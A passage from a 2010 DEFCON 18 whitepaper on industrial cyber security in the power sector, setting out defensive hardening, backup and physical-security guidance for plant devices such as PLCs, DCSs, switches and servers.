The protections will generally vary by level of risk/criticality, but note that it is often
more cost effective to apply one set of controls to all classes of devices rather than
attempting to apply different sets of controls across the same class of devices; a
balance needs to occur. The below recommendations for applying controls to devices
is meant to act as a list of minimum requirements. Each hardening subject matter
applied below is discussed in detail in section 4.4.2.3 B.
PCs/Servers
Age, Operating System (OS) and function of PCs/Servers throughout a plant
tends to vary greatly. This needs to be a consideration while applying controls.
Whenever possible, standardize on one operating system for a given plant.
• Surface area reduction via baseline hardening - level 1, 2 and 3 devices
• Surface area reduction via device specific hardening – level 1 and 2 devices
and certain level 3 devices
• Configuration and security settings – level 1, 2 and 3 devices
• Protection software – level 1 and 2 as well as level 3 devices where yes was
answered to Q5 (ease of attack).
• Communications and Data hardening –level 1, 2 and 3 devices
• Maintenance and hardware hardening – all device levels
• Physical security hardening – levels 1, 2 and 3 devices
Industrial Cyber Security: From the Perspective of the Power Sector Page 32 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
Network switches
This refers mainly to managed switches here. Unmanaged switches, hubs and
routers have limited security capabilities and should be avoided.
• Surface area reduction via baseline hardening - level 1, 2 and 3 devices
• Surface area reduction via device specific hardening – level 1 and 2 and
some level 3 devices
• Configuration and security settings – level 1, 2 and certain 3 devices
• Protection software – level 1 and 2
• Communications and Data hardening –level 1, 2 and 3 devices
• Maintenance and hardware hardening – all device levels
• Physical security hardening – levels 1, 2 and 3 devices
Printers
Modern printers tend to come with operating systems, storage and Ethernet
capabilities. They can be just as vulnerable as PCs, security controls may be
limited.
• Surface area reduction via baseline hardening - whenever feasible
• Surface area reduction via device specific hardening – whenever feasible
• Configuration and security settings – all device levels
• Protection software – Not directly applicable
• Communications and Data hardening –level 1, 2 and 3 devices
• Maintenance and hardware hardening – whenever feasible
• Physical security hardening – whenever feasible on level 1 and 2 devices
PLCs
Many modern and all obsolete PLCs were not designed with security in mind. As
a result, inherent controls are currently limited and a dedicated add-on security
device such as the Tofino Security Appliance is usually required. Whether or not a
similar appliance is the housing device, the following controls should be applied.
• Surface area reduction via baseline hardening – level 1, 2 and 3 devices
• Surface area reduction via device specific hardening – level 1 and 2 devices
• Configuration and security settings – all device levels
• Protection software – Usually not directly applicable, but implement when
feasible.
• Communications and Data hardening –level 1 & 2 devices
• Maintenance and hardware hardening – all device levels
• Physical security hardening – all device levels
Industrial Cyber Security: From the Perspective of the Power Sector Page 33 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
DCSs
Until recently, DCSs have not accounted for much in the way of security. Modern
DCS manufacturers claim to have built in “compliance” toolsets, which probably will
be of some use when protecting these devices. Applying security controls to a DCS
may be difficult depending on the age of the device, and third party hardware may
be required.
• Surface area reduction via baseline hardening – level 1, 2 and 3 devices
• Surface area reduction via device specific hardening – level 1, 2 and 3
devices
• Protection software – level 1 and 2 devices when feasible (third party devices
will be required on older systems)
• Communications and Data hardening –level 1, 2 and 3 devices
• Maintenance and hardware hardening – all device levels
• Physical security hardening – all device levels
Recorders, Relays and similar Ethernet devices
Security, both physical and electronic, is limited for this class of devices, though
controls are still often mandated by governances. If it is infeasible to implement the
following controls, try using third party tools or, if possible, disabling the Ethernet
capabilities of these devices until a solution is marketed.
• Surface area reduction via baseline hardening – port closing only when
feasible across levels 1, 2 and 3.
• Surface area reduction via device specific hardening – port closing only when
feasible across level 1, 2 and 3 devices.
• Protection software – level 1 and 2 devices when feasible using third party
hardware
• Communications and Data hardening –level 1, 2 and 3 devices
• Maintenance and hardware hardening – all device levels when feasible
• Physical security hardening – all device levels when feasible
Devices used for access control and/or monitoring of ESPs & PSPs
Deserve strong protection mechanisms; if an attack can gain control over a
device of this class, the attacker can usually gain control over all communications
running through the device. A device of this class will never be a level 4 device due
to the content of Q4 (likeliness of attack).
• Surface area reduction via baseline hardening – all device levels
• Surface area reduction via device specific hardening – all device levels
• Protection software – all device levels
Industrial Cyber Security: From the Perspective of the Power Sector Page 34 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
• Communications and Data hardening – all device levels
• Maintenance and hardware hardening – all device levels
• Physical security hardening – all device levels
At this point it should be obvious that it is often more cost effective to apply one
set of controls to all classes of devices rather than attempting to apply different sets
of controls across the same class of devices. This may not always be feasible
though, because different systems may have been installed at different times and by
different people throughout the 50 year life of the plant. A database that
automatically assigns necessary controls based on criticality (which is based on
user inputs to a discrete set of questions) is highly recommended for applying
differing security controls across all devices and across individual classes of
devices.
B. Hardening
The goal of hardening efforts on cyber machines is to ensure that only those
ports, programs, and services required for normal and emergency operations are
enabled, to ensure the security policies are met and to add or strengthen security
mechanisms (e.g. virus protection) to result in a more secure system than initial
examination revealed. This section is written from the standpoint of hardening
mainly computers, but a number of the requirements herein may be applied to other
devices as appropriate.
A full hardening process should only be required on a single cyber device once,
so long as no major changes have occurred. If a major change has occurred, such
as changing the purpose of the device, a full hardening process is required. Security
policies should be sufficient to maintain an unchanged device’s hardened status.
It is extremely critical that hardening be done using a systematic and software
assisted technique. Generally, the first major step of any technique used should
involve the development, implementation and testing of baseline hardening policies
via objects in an active directory, security or administrative templates, or third party
tools such an enterprise configuration manager. The second major step of any
technique used should be to harden each specific cyber device against developed
and tested device specific hardening policies.
Extreme care must be taken during hardening efforts. Significant adverse effects
can occur when a device is incorrectly hardened. Loss of functionally requiring a full
system restoration is one possible result. All baseline or device specific hardening
activities should not result in any unforeseen or unplanned changes. Hardening
should not affect normal or emergency functionality in any way; for example,
operator screens, logic and alarms should not be affected by hardening efforts.
Industrial Cyber Security: From the Perspective of the Power Sector Page 35 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
A prerequisite of hardening is that configuration data about the devices being
hardened must be obtained before hardening the device. Attempting to harden
cyber assets without complete and accurate information can result in dangerous, if
not catastrophic, situations, especially when trying to harden devices associated
with a running unit which should be avoided if possible. Software that makes use of
databases and configuration and vulnerability scanners to provide a partly
automated solution can be of significant assistance in managing configuration data.
Security, Configuration and Asset Management
There are only two effective tools that past experience has identified for
managing security and configuration data in an automated fashion. The first is
Microsoft’s Management Console (MMC) operating in an active directory and
domain environment. This is the most common tool used, particularly in the IT
realm. The second is Enterprise Configuration Manager (ECM), which also requires
a domain. ECM provides additional tools and graphics above and beyond MMC.
Asset management is inherently ingrained in the software, though particular
attention needs to be paid to disposal or redeployment of unused hardware (which
is not covered in the software). Antiquated, obsolete or non-vendor supported
devices should be replaced as soon as possible. Patch management and virus
signature file updates should be built into the software, no need for another tool if it
can be avoided. Ideally, the system should be able to perform assessments of
security vulnerabilities, audits against governing or custom standards and remotely
initiated maintenance activities. Each organization will have to determine the best
configuration management solution for themselves, hopefully with a formal software
validation, verification and analysis program. Refer to NIST Special Publication 800-
40, “Creating a Patch and Vulnerability Management Program” for additional
guidance on creating an effective patch management program to ensure all devices
are patched to an adequate level.
Whatever managing software an organization selects, there are established best
practices to follow that will save time and money. All records of device
configurations must be kept indefinitely on electronic media, stored by date,
managed and well protected to provide evidence for auditors. New cyber devices
must be hardened before they hit the network or are scanned for configuration data.
Every change must be tested in lab, then implemented, then tested in the field.
Changes can be grouped for a device or multiple devices, if the infrastructure is in
place, to expedite this process. Tests must ensure no loss of normal or emergency
functionality will or has occurred. Rollbacks may be required and backups should
be performed prior to implementation and after testing. Devices should also be
rescanned for configuration data directly after successful field testing.
Lastly, there are some tools designed specifically for auditing a computer. Some
only have local capabilities; others can be run remotely, often in scheduled runs.
Some gather highly useful raw configuration data and others simply output a list of
Industrial Cyber Security: From the Perspective of the Power Sector Page 36 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
vulnerabilities. Manually gathering data locally is not recommended, though,
Winaudit works well if it is necessary. Additional or similar tools that work well
include Nmap, Zenmap, Nessus, HP Discovery, and a number of others. Well
planned and thought out network scans performed during an outage are the
preferred method of obtaining the data; though systems can be programmed to
slowly and non-invasively gather data during operation. Also note that the level of
data gathered is directly related to the level of privileges of the user’s account,
logging in with higher account privileges before a scan will generally produce more
data regardless of the tool used. There is always an inherent danger in network
scans, particularly while a unit is running, but safe scans are feasible. Usually it
only takes controlling the speed of the scanning process to ensure an unintentional
denial of service attack doesn’t occur.
Device Targets
Cyber devices that may be targeted for any industrial hardening project include
but are not limited to clients, servers, PLCs, DCSs, HMIs and network switches.
These are definitely not the only devices that need to be hardened, but they are
devices that must not be missed. Whatever targets are chosen, it is important to
realize that each class of targets presents unique challenges and implementation
dangers. Classifications combined with vulnerability data can play a key role in
determining the order in which devices should be hardened. These projects are not
short lived or uncomplicated by any means. Speaking only in terms of orders of
magnitude, a large power plant can have:
• Upwards of 150 computers and servers associated with plant systems alone
• Around 50 PLCs
• Anywhere from 1 to 5 discrete DCS loops
• Upwards of 100 HMIs
• The total number of network switches varies greatly from plant to plant,
usually only correlating with design effectiveness and management rather
than plant size.
It is a big project to harden the devices in an entire plant, and this is with the
assumption the network is designed effectively. This combined with the fact that
due to the length of the project, some devices will have to be hardened while a unit
is running. Of course, the least critical devices should be chosen for this whenever
possible, but a well analyzed risk to generation may be necessary from time to time.
Discussion of how to address common device types is given in section 4.4.2.3 A.
Industrial Cyber Security: From the Perspective of the Power Sector Page 37 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
Subject Matters of Hardening Efforts
Subject matters of both baseline and device specific hardening projects may
include, but are not limited to:
• Surface area reduction (ports, programs, and services)
• Configuration and security settings (GPOs, firewall rules, user and password
policies, patch management, etc.)
• Protection software (intrusion detection and prevention, virus protection,
patch management, firewalls)
• Communications (protocol use, encryption, authentication) and data
hardening (encryption, compression, backup and restorations and data
redundancy)
• Maintenance (scheduled defrag, registry cleanup, etc.), hardware (locks,
enclosures, redundancies, etc.) and physical security hardening.
• Network architecture and segmentation
• Replacing antiquated, non-vendor supported or high risk legacy systems
Each subject matter presents unique challenges and implementation dangers
and will be discussed in the following paragraphs, excluding the last the two which
are discussed elsewhere.
Surface area reduction (ports, programs and services)
Reducing the amount of software and number virtual ports on devices makes
them inherently harder to compromise. To give a physical analogy, a house is far
harder for a burglar to compromise if it has no windows or perhaps bars on the first
floor windows. The order of reduction needs to be first programs, then services and
last ports. This is because programs make use of services and services and
programs make use of ports. Going in any other order will negate work or make
hardening profiles invalid or ineffective. Surface area reduction needs to be done
systematically. Ideally, multiple iterations of (1) identify required ports, programs or
services (2) determine which are not being used and remove (programs and
services), deactivate (services or ports) or block (ports) (3) Provide a justification for
all that remain.
Identifying required ports, programs and services is fairly straight forward at first,
if performed by someone familiar with the system, but may become more difficult as
one progresses. This is where the use of simulators and drive images and
virtualization can play a key role. Virtualization or simulation allows for removal,
deactivation or blocking of one port, program or service to see what effects it has on
the system. If the effects are adverse, re-enable it and explain the adverse effects
in the justification. If no normal or emergency functionality is lost, it is probably safe
to disable. All ports, programs and services that cannot be justified will need to be
Industrial Cyber Security: From the Perspective of the Power Sector Page 38 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
removed. If an entire network is accurately virtualized, the results of this process
may be reapplied directly to the device.
Programs and services to remove will vary from device to device, but the
following should be removed from all devices at a minimum (it is not an uncommon
occurrence to find these in the field): games, messaging services (MSN, AOL IM,
etc.), sample or demo software, unused document processing utilities, unused
and/or insecure remote access software, unnecessary logic and software compilers,
and any other programs or services identified as unneeded. Remember, everything
that isn’t removed needs to be justified. Justification is the only way to maintain
compliance and knowledge concerning why a particular device has a particular
configuration, especially as sites gain and lose employees over the life of the plant.
Service removal often takes particular care and expertise. If it is unclear whether
a service is needed or not, it must be fully tested in a lab environment. Once it is
determined that a certain service is not needed, it should be fully uninstalled (not
just deactivated) whenever possible. There are thousands of services running
across many operating systems, refer to http://www.blackviper.com for a good
explanation of typical services and a starting point for hardening profiles.
All ports, regardless of the state (listening, established, etc) need to be disabled if
they cannot be justified. Ports used for testing purposes only need to be disabled
when not in use. Port closing is usually accomplished with a typical firewall, but
there are other more specialized methods.
Tools recommended to assist in surface area reduction without the consideration
of vulnerability remediation include: Windows Task Manager, GPOs in an active
directory, Windows control panel programs like add/remove programs and windows
firewall, the Microsoft management console which can provide customized views of
the devices configurations including services, programs and security settings, and
third party tools like WinAudit or ConfigureSoft’s ECM. Introduction to these tools is
outside the scope of this paper, but there are plenty of resources on the internet. It
is recommended that an organization standardize on what tools are allowed to be
used for this purpose, preferably limiting the total number of tools and maximizing
the automation and scheduling capabilities.
Security and Configuration Settings
Security and configuration settings will always be operating system dependent.
Even between versions of the same OS such as Windows XP and Windows 7 or
between various patch levels or service packs, variations exist. As a result, a
baseline settings policy must be defined for each operating system. This assumes
all the operating systems on all the devices in a facility are patched to the same
level (if not, update all patches prior to developing security and configuration policies
to ensure work is not negated).
Industrial Cyber Security: From the Perspective of the Power Sector Page 39 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
Settings can be viewed and changed locally, both manually using management
consoles and semi-automatically using security templates or local group policy
objects (LGPOs), but even though this may appear to be cost effective for an
organization without an effective infrastructure, it turns out to be far more expensive
in the near and long terms than simply implementing the appropriate infrastructure
first.
Precise definition and risk assessment of every security setting on every OS of
every patch level is far outside the scope of this paper due to the massive data
requirements. However, each OS manufacturer usually provides sufficient
documentation to at least glean the purpose of most settings. Additional third party
guides may prove to be highly useful; a recommended site to begin with Windows
security settings which, in previous experience, has proven very useful is
http://www.ultimatewindowssecurity.com/.
The remainder of this section is dedicated to stating a few examples of important
user management policies (to give the reader a feel for how to think about each
policy) that can only be applied via these settings. It is not a comprehensive
discussion; all settings should be analyzed, not just the most important ones.
Use two factor authentication for local and remote login, particularly if the user is
connecting through multiple zones or ESPs. Two factor authentication is based on
selecting two out of three of the following for authentication: something you know
(e.g. password), something you have (e.g. RFID card) or something you are (e.g.
biometrics).
When defining levels of access (i.e. user accounts) DO NOT use generic account
names like admin or user and try to avoid shared accounts. This leaves the system
vulnerable, often only requiring an attacker to guess a password to obtain user or
even admin rights. Do not use the same username as is used on the organizations
enterprise networks or any username associated with an email account. These tend
to provide an easy method for an attacker to obtain a list of valid usernames. Ensure
passwords are changed at most every 90 days and that no password is reused for a
minimum of two years. No more than three unsuccessful login attempts should be
allowed before the user is kicked and required to wait an appropriate period of time.
Tools for applying settings where discussed above.
Protection Software
Protection software such as virus protection, intrusion detection and prevention,
malware prevention and firewalls should always be included in a device’s profile if
the device can take the software without adversely affecting the device’s
functionality. This can be a challenge since a large number of process computers
currently in use are old unsupported systems with obsolete hardware. There are a
Industrial Cyber Security: From the Perspective of the Power Sector Page 40 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
few computers running plants that were built in the 1980’s. Devices such as these
cannot handle modern protection software and using 20 year old virus software is
pointless, so eventual system replacement is needed. Of course, it is not always as
clear cut as this, and performance reports will probably be required to determine
which devices can handle the added load of protection software. Performance
reports should take place over the course of a day to get an accurate report due to
load variations, and this should be repeated over a few days. Variables to track may
include CPU and memory usage, hard drive utilization, and network bandwidth
usage.
Virus protection software typically scans and continuously monitors activity on a
computer, though continuous monitoring capabilities have proven thus far to be
resource intensive. In most situations, it is usually recommended that process
control computers only be fitted with the ability to scan for viruses at night or during
similar low load times. Certain areas and access points should be continuously
monitored by virus software, but this functionality should only be included on non-
process related devices whose sole purpose is security, such as devices used for
the monitoring and control of ESPs. It is also worth noting that, even if all virus
definitions are kept up to date the effectiveness of the software will change, but not
necessarily degrade, with time. This is because the manufacturers tend to go
through cycles in how effectively and comprehensive they roll out virus definitions.
Some companies may miss a virus definition on occasion or funding may restrict
their development. This is why it is key for an effective defense-in depth approach to
layer security using mechanisms from more than one manufacturer.
The difference between malware and a computer virus is not so clear to the
laymen; often a virus can also be malware or malware can be a virus. To clarify this
often over discussed distinction, malware is software designed for a malicious intent
and a virus is designed to replicate itself, whether or not maliciously. A virus
typically has the ability to spread to other devices. There are other types of threats
including adware (code written for the purposes of advertisement, often with little
consideration for the users systems) and spyware (code written to secretly obtain
information without authorization from the user). Malicious software prevention is
used to detect, prevent, and mitigate introduction, exposure, and proliferation of
malware on cyber devices. Adware prevention is used to detect, prevent and
mitigate the results of advertising code on computers (e.g. “popups”). Spyware
prevention monitors continuously for eavesdropping attempts. Each type of
protection software has its purposes; all should be used at some level of the
process control network hierarchy, particularly at access points to ESPs.
Recommended manufacturers for each type of protection software discussed above
are as follows:
• Virus prevention and protection: Recommended manufactures include
Symantec, Trend micro, AVG, Avast, BitDefender and certain hardware
Industrial Cyber Security: From the Perspective of the Power Sector Page 41 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
based virus protection devices such as the devices sold by Barracuda
Networks.
• Malware prevention and protection: MalwareBytes is highly recommended for
this purpose. Most other manufactures discussed throughout this section
include similar capabilities in their software, but they have not proven to be
quite as effective, probably because MalwareBytes is solely focused on
malicious software and not things like adware.
• Adware prevention and protection: Ad-aware (highly recommended),
MacAfee, Trend micro, windows defender and popup blockers.
• Spyware prevention and protection: Ad-aware running in continuous
monitoring mode, Windows system monitoring controls inherent in recent
versions, and other software which continuously monitors for unauthorized
information disclosure.
Of course, the line between protecting against these classical types of threats is
getting blurred with time because manufacturers are trying to account for all at once,
though often unsuccessfully since each requires a unique approach. Protection
software needs to be analyzed to determine which classical threat definitions (as
described above) the software can effectively mitigate. Caution is advised when
selecting protection software, the internet is full of software posing as protection
software but which is often highly malicious software (often called scareware).
Intrusion detection and prevention software (IDPS) is focused on preventing,
detecting, alerting and responding to potential unauthorized intrusion incidences or
attempt at intrusion. Until recently, IDPS has been fairly experimental, however, it
has now become an effective defense tool that should be included in any cyber
defense arsenal, even though it is still somewhat experimental and requires a
knowledgeable person to effectively operate and understand. Common detection
methodologies include signature based, anomaly based, and stateful protocol
analysis. For additional information on IDPS systems, refer to recommended NIST
Special Publication 800-94, “Guide to Intrusion Detect and Prevention Systems
(IDPS)”. Top five tools include Snort, OSSEC HIDS, Fragrouter, BASE and Sguil
according to sectools.org.
Firewalls are extremely useful for controlling communications, able to close
virtual ports on demand. A firewall is only as good as its rules. Firewall rules should
be as specific as possible. Always consider source, destination, protocol use, ports,
and services and programs. All ports should be disabled with the exception of the
ports needed for normal and emergency operations. All ports that remain open
should be provided with a short justification for reasons already stated in previous
sections. Effective firewall software is easy to come by, so vary the manufacture to
help ensure a vulnerability in one firewall is not perpetuated throughout the network.
Industrial Cyber Security: From the Perspective of the Power Sector Page 42 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
Communication and Data Hardening
Communication hardening typically involves limiting protocol use, limiting open
ports, authentication, encryption and data integrity. Authentication is critical to
ensuring communications are going to and coming from an authorized source. Data
hardening usually involves encryption, redundancy, off site redundancy, image
comparators, automatic data restoration, corrupt data detection, RAID technologies,
etc. Communication and data redundancy via redundant physical communication
channels can also be effective strategies. Data redundancy of large generating
facilities needs to be automated to be cost effective.
Data redundancy requires a formal backup and recovery program to store and
roll back configuration changes in case of failure, attack or compromise. Only one
approach to backup and recovery should govern a single class of devices (e.g. PCs,
DCSs) to minimize cost and confusion, though application across manufactures is
also common (i.e. only one backup system using one type of backup media on a
single device class or by manufacturer). Whatever system is chosen for a given
device grouping, each will need a step-by-step backup generation, data validation,
data restoration and data redundancy plan. Safety needs to be a key part of the
data restoration plan. Any time a backup is generated, validated or restored, an
audit trail should be maintained and kept indefinitely. Data security is critical, and
backup and backup storage systems should be treated as level one critical cyber
devices. This is inherent against the classifications previously developed since a
good backup system is robust, covers large areas of the network (breaking ESP
boundaries) and often communicates off site for redundancy.
Backup systems should be centralized, secured and at least partially automated
to reduce cost and increase reliability. Manual backup processes are high cost, high
risk and are not recommended. Any backup process, whether automated or manual,
can easily overburden a control network and cause denial of services if not
controlled properly, so incremental rollout and slow or incremental backup
operations will be required. Transportation of backup media off site needs to be well
controlled, protected and documented. All backups associated with a process
control network should be categorized as: SC process backup = (confidentiality,
high), (integrity, high), (availability, high).
Selecting the right backup media for a given backup system should be a formal
process, considering current and future capacity, automation abilities, time to
generate, time to restore, time to compare or validate, storage requirements, as well
as reliability and security. Optical disks, secure EEPROMs such as Ironkey,
magnetic tapes and disks, swappable drives, RAID drives and logical media like
hard drive images all serve a purpose and present unique advantages and
disadvantages. Ideally, a primary backup should remain on site and a secondary
backup should be placed off site at a secure location. On each device, separate
data and the OS root drive on two physical drives; this is just best practice, helps
Industrial Cyber Security: From the Perspective of the Power Sector Page 43 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
with system restoration and segmenting any damage caused by an attack. The
majority of attacks focus on the root drive, so this tactic will save your data in most
cases.
Backup generation needs create backups that can suitably restore a system in
worse case scenarios (i.e. total data loss). Logic, graphics screens, custom
programs, device configurations. All level 1, 2 and 3 devices should have scheduled
backup operations. If a valid backup is not on file, backups should be made before a
new device arrives on site, before a change occurs and after a change occurs.
Device backup files should be titled with the name or identifier of the device followed
by the date and time for auditing purposes.
Backup validation is the process of verifying a backup operation was successful
and valid, verifying that a stored backup did not degrade with time, verifying that the
backup represents the working configuration of the device. Backups need to be
validated as soon as they are generated, and periodically during storage. Virtual
machines and networks can significantly help with validating backups to ensure no
loss of data has occurred; another technique is to compare bit-by-bit the data
contained on two identical backup media stored in two separate physical locations.
Backup restoration is required if there is a compromising event on a device, if the
system is not functioning or if the system is suffering from data corruption. A
restoration will only be as good as the backup used, this is why backups are
validated; only validated backups should be used to restore a system, redesign is
required if data is compromised and there is no validated backup.
Maintenance, Hardware and Physical Security Hardening
No modems should be allowed “period”. Disable physical Ethernet, USB, serial
and proprietary protocol connections when not in use. This can be achieved either
physically or via software. Ensure the computer is housed in a locked 6-wall cabinet
in a 6-walled room. Ideally, the computer enclosure should be industrial grade with
cylinder locks. Hardware redundancy is highly recommended and actually very
common in plants today. Hot swappable devices will make maintenance easier.
Remove unused hardware.
System Maintenance should be performed via automated scheduling on a
periodic basis to reduce clutter (and attack surface) and maintain performance. This
should include, but is not limited to: registry cleaning, disk cleanup and
defragmentation. The order should be maintained to maximize system maintenance
effectiveness.
4.4.3. Physical Security Controls and Measures
Industrial Cyber Security: From the Perspective of the Power Sector Page 44 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
Many of the requirements in controlling electronic access to devices inside an ESP
and protecting devices within an ESP are endemic in physical security as well. A lot of
the overlap has been eliminated in this section, instead trying to focus on the
differences. The subjects are closely related, and cannot be completely separated. This
section is dedicated to strongly securing access points to physical security perimeters
and securing physical devices. Electronic security without physical security is not an
option for reasons that should be obvious to the reader.
4.4.3.1. Physical Security Perimeters (PSPs)
PSPs will be used to segment the plant and will be critical in planting security
controls. All access points must be identified and protected appropriately. It is
extremely important, for an effective defense-in-depth approach, that PSPs are defined
in a layered approach. Generally, primary and secondary will suffice, tertiary PSPs can
be used in special circumstances.
The primary PSP should comprehensively encompass the entire plant, all PSPs.
The access points to a primary PSP are the first line of defense against local attacks,
whether physical or cyber, and are by far the most important to protect. Access points
should be minimized with only one point for personnel, one or two points for fuel and
other material deliveries. Access points to a primary PSP deserve somewhat
excessive protection mechanisms. Cameras, RFID or SSD preferably, guards, sign-in
sheets, plant contact confirmation and ID verification should all be part of the access
process.
Access points to discrete secondary PSPs, a door to a room within the plant,
deserve robust and effective controls. RFID has proven to be highly insecure; as a
result, if RFID is used, two factor authentication should be required.
One special circumstance that may warrant the use of tertiary PSPs are the access
points to the main control rooms. Often plant operators resist the use of locking access
systems and login requirements, and for good reason. If there is an emergency,
operators need to get where they need to be and access the things they need to
access. In addition, plant operators cannot be expected to bear the cost of security
related overhead. A solution is the use of cameras monitoring the access points to two
layered PSPs within the plant. During normal operation, security personnel can identify
people entering the control room and unlock the 2nd entry point remotely. During a
plant emergency, the doors should be hardwired to unlock and to fail open. Of course,
plant operators should have a failsafe unlocking mechanism in the control room. There
is a trade off related to physical security, between overburdening users or being overly
invasive and being well protected. A balance needs to be achieved.
Industrial Cyber Security: From the Perspective of the Power Sector Page 45 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
4.4.3.2. Protection of PSP Access Points
Various methods and tools are discussed in the following section. Remember, to
always vary the use of tools and vendors across the primary PSP and secondary PSPs
to make the plant more resistant to local attacks.
A. Limiting access to the Primary PSP via a DMZ
The DMZ limits, controls and monitors all access to any part of the operating plant.
The DMZ usually takes the form of a gatehouse and surrounding barbed wired fence,
followed by a long stretch of open area, followed by the actual plant. The idea of a
physical DMZ is to give security staff time to respond to an unauthorized entry before
the individual actual reaches the plant. Cameras monitoring the DMZ should be well
placed, hidden and secured somehow (height, mounting the camera high without an
access ladder, has proven to be an effective defense tactic).
After the accessing individual passes through the DMZ he should be allowed to
access the plant using authentication or a security device, but preferably both. If the
individual has not been to the plant before, he should be escorted for safety reasons.
B. Limiting access between Secondary PSPs
Physical access to any secondary PSP through any access point should only be
permitted using two factor authentication. Log all access events. Monitor, detect, and
alarm all attempts and actual unauthorized access events continuously and
electronically when practical. Provide remote locking mechanisms and an effective
method to assess any situation. Be sure to protect all access points. All level 1, 2 and 3
cyber devices will need to be housed in secondary PSPs whether it is an enclosure or a
room.
C. Limiting access between Devices and/or Tertiary PSPs
An example of a somewhat unidentified tertiary PSP could be locked cabinets
between DCS modules, which are all usually lumped together inside a secure room or
secondary PSP. Tertiary PSPs should only be defined for highest risk cyber devices
and will need to be tailored to each system. No more discussion is provided.
D. Devices used for the Access, Control and Monitoring of ESPs & PSPs
In-depth discussion of how to secure physical access control devices is outside the
scope of this paper and somewhat poorly documented. However, these systems need
to be well protected and typically are classified as level 2 or 3 cyber devices, depending
on how the organization decides to interpret the questions. These devices do deserve
well thought-out and somewhat clever security strategies.
Industrial Cyber Security: From the Perspective of the Power Sector Page 46 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
4.4.3.3. Protection of cyber devices
When determining how to physically protect cyber devices, classifications can play a
key role. The classifications outlined in section 4.4.1 are intended for large industrial
facilities. When security controls are applied, apply them in a layered approach but try
to maintain some continuity at each layer.
A. Applying protections to devices
When applying physical protections to devices, they should be grouped in some
fashion, for example, to allow the entire DCS system to be in locked cabinets inside a
secure room. As many devices as is possible should be included by default, including
devices that happen to be nearby. Generally speaking all plant level 1, 2 and 3 PCs
and Servers will need to be in a locked room and/or cabinet. Ideally, these devices
should have enclosure locks. Network switches are often unlocked; this is a mistake.
Lock all level 1, 2 and 3 network switches in a locked cabinet at a minimum and close
all unused ports, preferably with a physical and virtual lock. Printers should either be
locked in a room (which is usually impractical) or secured in a larger facility, such as a
secured office complex, and put in a high traffic area so workers can detect suspicious
activity. All PLCs regardless of the level need to be locked inside an enclosure and,
whenever possible, inside a secured room. All recorders, relays and similar Ethernet
devices should have some form of physical security. Currently, most do not and there
are not many solutions available. All devices used for access control and monitoring of
PSPs and ESPs need physical protections.
B. Physical Hardening
The goal of physical security hardening is to mitigate the chances of a local attack
by simple visible deterrents such as guard stations, barbed wire and security camera,
to delay any impending attack with layered controls and strategies, and to strengthen or
put mechanisms in place that will log and monitor access attempts and detect, alter and
notify any attempts at unauthorized access or actual unauthorized access incidences.
Generally, one should only have to harden a room or enclosure once in the life of a
plant, assuming it was secured and maintained. If the device is ever locally
compromised successfully, the device should be redesigned to mitigate the risks
associated with the same attack occurring twice. When deciding how to harden PSPs,
the tradeoff between functionality and access and good security should be considered
in the design. For example, authorized personnel should not be overly hindered by
physical security obstacles in case of emergencies yet systems still need to be
secured.
A prerequisite of physical security hardening is that all devices within the PSP must
be identified and all unauthorized or unjustifiable devices be removed. Asset
management software can be used to track this data. The PSP needs to be as secure
Industrial Cyber Security: From the Perspective of the Power Sector Page 47 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
as possible, often by using a well built 6 walled structure or a solid metal enclosure.
Hardening an insecure room is pointless.
Area/Device Targets
Physical hardening targets may include rooms, enclosures, cabinets, control rooms,
panels, etc; these are definitely not the only devices that need to be physically
hardened, but they are devices that must not be missed. Whatever targets are chosen,
realize that each class of targets presents unique design challenges.
Device classifications previously developed combined with area vulnerability
estimates can play a key role in determining the order in which targets should be
addressed and how much effort should be put into hardening them. These things need
to be well thought out. It is similar to what the U.S. military did for planes during World
War II. All planes returning from war would be inspected for bullet holes. If any bullet
holes were found, they knew statistically that that particular spot on the plane did not
require armoring (i.e. hardening), since the plane took the hit and made it back alive.
For industrial control systems, the data set is not the same, however, the same
principle applies, and data can be generated based on a theoretical worst case
scenario, total system failure.
Ideally, a physical security engineer should be designing the system or perhaps an
engineer with significant security experience with assistance from high level security
personnel. These projects are not short lived or uncomplicated by any means;
Speaking only in terms of orders of magnitude, a large power plant can have:
• Upwards of 50 computer or DCS rooms.
• Upwards of 50 PLC enclosures scattered throughout the plant, often unsecured.
• Visible wire ways, cable trays, conduits, etc. that are an easy target with little
cost effective solution for remediation.
• Upwards of 100 HMIs scattered through the plant floor, often unsecured.
• A few dedicate server rooms for controlling access between the plant and other
networks; ideally, these should be controlled by the plant, not by administrators
of the other networks.
• Usually, there is one main control room for a single unit or two units sharing one
control room, separated by a dividing line.
It is a pretty big project to physically harden the entire plant, and this is with the
assumption that the physical structures (walls, rooms, etc) are built well enough to
thwart or delay direct physical assault on the structure or segment the consequences of
explosions, whether caused by accident or incident.
Industrial Cyber Security: From the Perspective of the Power Sector Page 48 of 65
